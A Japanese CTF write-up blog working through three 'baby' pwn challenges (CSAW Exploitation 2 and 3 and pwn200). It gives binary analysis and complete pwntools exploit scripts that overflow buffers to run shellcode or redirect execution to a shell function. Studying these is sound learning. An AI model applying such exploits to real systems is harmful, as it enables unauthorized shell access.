#!/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * import struct host = 'localhost' port = 34266 conn = remote(host, port) bss_addr = 0x804b008 elf = ELF('./fil_chal') recv_addr = elf.plt['recv'] shellcode = asm(shellcraft.dupsh(4)) shellcode += asm(shellcraft.sh()) payload = "A" * 1056 payload += p32(recv_addr) payload += p32(bss_addr) payload += p32(4) payload += p32(bss_addr) payload += p32(len(shellcode)) payload += p32(0) payload += "\n" conn.recv() conn.send("csaw2013\n") conn.recv() conn.send("S1mplePWD\n") conn.recv() conn.send("-1\n") conn.send(payload) conn.send(shellcode) conn.interactive()
結果
mattun-mart@4ctf:~/Workspace/pwn/baby/Exploitation3$ python exploit.py [+] Opening connection to localhost on port 34266: Done [*] '/home/mattun-mart/Workspace/pwn/baby/Exploitation3/fil_chal' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments [*] Switching to interactive mode Entry Info: $ ls dump exploit.py fil_chal peda-session-fil_chal.txt
pwnlist baby Exploitation2
更新出来ていなかったけど,今日からまた再開.
Exploitation2,3,4,babyecho,r0pbabyまでは解いているので,復習がてらそれぞれの問題を今後まとめていく.
下調べ
mattun-mart@4ctf:~/Workspace/pwn/baby/Exploitation2$ file exploit2 | sed -e "s/,/\n/g" exploit2: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) dynamically linked interpreter /lib/ld-linux.so.2 for GNU/Linux 2.6.24 BuildID[sha1]=94f196c7d8ce45ecf9943690ed4e193c9d13b906 not stripped
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX disabled Not an ELF file No RPATH No RUNPATH exploit2
SSP,NXが無効.
解析
実行ファイルをstraceを利用して起動するとポート31338で接続を待ち受けていることがわかるのでncコマンドで接続.
接続するとexploit入力してねと言われ,入力できる.何かしら入力するとプログラムが終了する.
�����Welcome to CSAW CTF. Exploitation 2 will be a little harder this year. Insert your exploit here:
いろいろ入力を試しても特にバグっぽいのが見つからない.「Welcome to ~」の前の文字化けが気になるところ.解析していく.
入力用に確保した領域を超えて入力が取れるためEBPを入力で書き換えることが可能.
つまり0x80c+4を超える文字を入力すればリターンアドレスを書き換えられる.
[----------------------------------registers-----------------------------------] EAX: 0x4 EBX: 0xffffc82c (0xffffc82c) ECX: 0x0 EDX: 0x0 ESI: 0xf7fb9000 --> 0x1afdb0 EDI: 0xffffd02c --> 0x662f2dbc EBP: 0xffffd038 --> 0xffffd148 --> 0x0 ESP: 0xffffc810 --> 0x4 EIP: 0x80488f5 (<handle+232>: call 0x8048700 <recv@plt>) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x80488e5 <handle+216>: lea eax,[ebp-0x80c] # 入力の値用に0x80c呂域確保 0x80488eb <handle+222>: mov DWORD PTR [esp+0x4],eax 0x80488ef <handle+226>: mov eax,DWORD PTR [ebp+0x8] 0x80488f2 <handle+229>: mov DWORD PTR [esp],eax => 0x80488f5 <handle+232>: call 0x8048700 <recv@plt> #入力範囲が0x1000と確保した領域より大きく取れる. 0x80488fa <handle+237>: mov BYTE PTR [ebp-0xd],0x0 0x80488fe <handle+241>: mov edx,DWORD PTR [ebp-0xc] 0x8048901 <handle+244>: mov eax,ds:0x804a074 0x8048906 <handle+249>: cmp edx,eax Guessed arguments: arg[0]: 0x4 arg[1]: 0xffffc82c (0xffffc82c) arg[2]: 0x1000 arg[3]: 0x0
ただし,このプログラムは入力を受け取ったあとに,cmp命令で0x804a074の値(eax)とebp-0xcの値(ebp)を比較していた.
[----------------------------------registers-----------------------------------] EAX: 0x10 EBX: 0xffffc82c ('A' <repeats 13 times>, "aa\n") ECX: 0x0 EDX: 0x662f2dbc ESI: 0xf7fb9000 --> 0x1afdb0 EDI: 0xffffd02c --> 0x662f2dbc EBP: 0xffffd038 --> 0xffffd148 --> 0x0 ESP: 0xffffc810 --> 0x4 EIP: 0x8048901 (<handle+244>: mov eax,ds:0x804a074) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x80488f5 <handle+232>: call 0x8048700 <recv@plt> 0x80488fa <handle+237>: mov BYTE PTR [ebp-0xd],0x0 0x80488fe <handle+241>: mov edx,DWORD PTR [ebp-0xc] => 0x8048901 <handle+244>: mov eax,ds:0x804a074 0x8048906 <handle+249>: cmp edx,eax 0x8048908 <handle+251>: je 0x8048921 <handle+276> 0x804890a <handle+253>: mov eax,DWORD PTR [ebp+0x8] 0x804890d <handle+256>: mov DWORD PTR [esp],eax
逆アセンブルしたコードを見ていると,どうやらプログラムが走るたびに比較用の値をrand関数を用いて生成しているらしい.比較用の値が一致していないとプログラムが正常に終了しないため,リターンアドレスを書き換えようとして大量に文字を送ると比較用の値も書き換わってしまいEIPをうまく奪えない.
ここで例の文字化けした値を見てみると,比較用の値と入力を格納しているスタックのアドレスであることがわかった.
ということで,これで問題なくEIPを奪える.
Exploit
NX無効なので入力を格納しているスタックにシェルコード積んで実行してやれば良い.
比較用の値の位置を注意してExploitを書く.
#!/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * import struct host = 'localhost' port = 31338 #context.log_level = 'debug' conn = remote(host, port) shellcode = asm(shellcraft.dupsh(4)) shellcode += asm(shellcraft.sh()) input_addr = conn.recv(4) #入力の格納先アドレス key = conn.recv(4) # 比較用の値 print hex(u32(input_addr)) print hex(u32(key)) payload = shellcode payload += "A" * (2048 - len(shellcode)) payload += key payload += "A" * 12 payload += input_addr payload += "\n" conn.recv() conn.send(payload) conn.interactive()
結果
mattun-mart@4ctf:~/Workspace/pwn/baby/Exploitation2$ python exploit.py [+] Opening connection to localhost on port 31338: Done 0xffffc82c 0x7d8a854d [*] Switching to interactive mode $ ls dump exploit.py exploit2 peda-session-exploit2.txt
pwnlist baby pwn200
下調べ
mattun-mart@4ctf:~/pwn/baby/pwn200$ file bf | sed -e "s/,/\n/g" bf: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) dynamically linked (uses shared libs) for GNU/Linux 2.6.24 BuildID[sha1]=8438f7625e966b84aced94359daa8d3d15cdbb5a not stripped
mattun-mart@4ctf:~/pwn/baby/pwn200$ checksec.sh --file bf RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH bf
解析
実行ファイルを起動すると入力を促されるのでてきとーに入力してみた.
すると,メモリ内のアドレスのようなものを出力する.
>> EINDBAZEN FRAINBUCK INTERDERPER READY. > GIVE ME SOMETHING TO DANCE FOR: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa 0x0000000c 0xf754347f 0x0804835e 0xf76fa863 0xf76fab53 0x000008e1 0x0000000c 0x00000009 0x00000009 0x00000009 0x00000009 0xf771dafb 0xf771d567 0xf7700482 0xf771d00b 0xf7710e91 0xf7542c3f 0xf7539edf 0xf63d4e39 0x07b1ea7c 0xff94112b THANKS FOR SUPPORTING US WITH YOUR BRAIN!
また,objdumpを使って逆アセンブルしてみた結果の中にShellを起動する関数があった.
08048a6e <shell>: 8048a6e: 55 push ebp 8048a6f: 89 e5 mov ebp,esp 8048a71: 83 ec 18 sub esp,0x18 8048a74: c7 04 24 98 8c 04 08 mov DWORD PTR [esp],0x8048c98 8048a7b: e8 50 fa ff ff call 80484d0 <system@plt> 8048a80: c9 leave 8048a81: c3 ret
gdbで動きを追っていくと,特定の入力文字によってメモリの操作をしていることが分かった.
どうやら,branfuckというプログラムらしい.
次の表がその文字と動作内容.
文字 | 動作内容 |
---|---|
> | ポインタを4byteインクリメント(ポインタの初期値は0xffffd020) |
< | ポインタを4byteデクリメント |
+ | ポインタの内容をインクリメント |
- | ポインタの内容をデクリメント |
. | ポインタの内容を出力 |
, | 入力から一文字読み込み |
[ | ポインタの内容が0になるまで[以降の処理を繰り返す |
] | [の終わりを示す |
ということで,ポインタを操作してshell関数を起動してやればよい.
Exploit
メモリを操作してリターンアドレスをshell関数のアドレスに書き換えれば,関数実行後にシェルが起動できる.
ポインタの初期値は0xffffd020で,リターンアドレスは0xffffd0e8(ebp+0x4).また,shell関数のアドレスは0x8048a6eでリターンアドレスの値は0x8048a9d.
ポインタの初期値とリターンアドレスの差は204byte,shell関数とリターンアドレスの差は47なので,51回アドレスをデクリメントして,47回ポインタの内容をデクリメントしてあげればshell関数が実行できる.
てことで,Exploitコード
python -c 'print "<" * 51 + "-" * 47' | ./bf
結果
mattun-mart@4ctf:~/pwn/baby/pwn200$ python -c 'print "<" * 51 + "-" * 47' | ./bf>> EINDBAZEN FRAINBUCK INTERDERPER READY. > GIVE ME SOMETHING TO DANCE FOR: THANKS FOR SUPPORTING US WITH YOUR BRAIN! mattun-mart@4ctf:~/pwn/baby/pwn200$ ls bf dump peda-session-bf.txt mattun-mart@4ctf:~/pwn/baby/pwn200$
どちらかというとrevっぽい.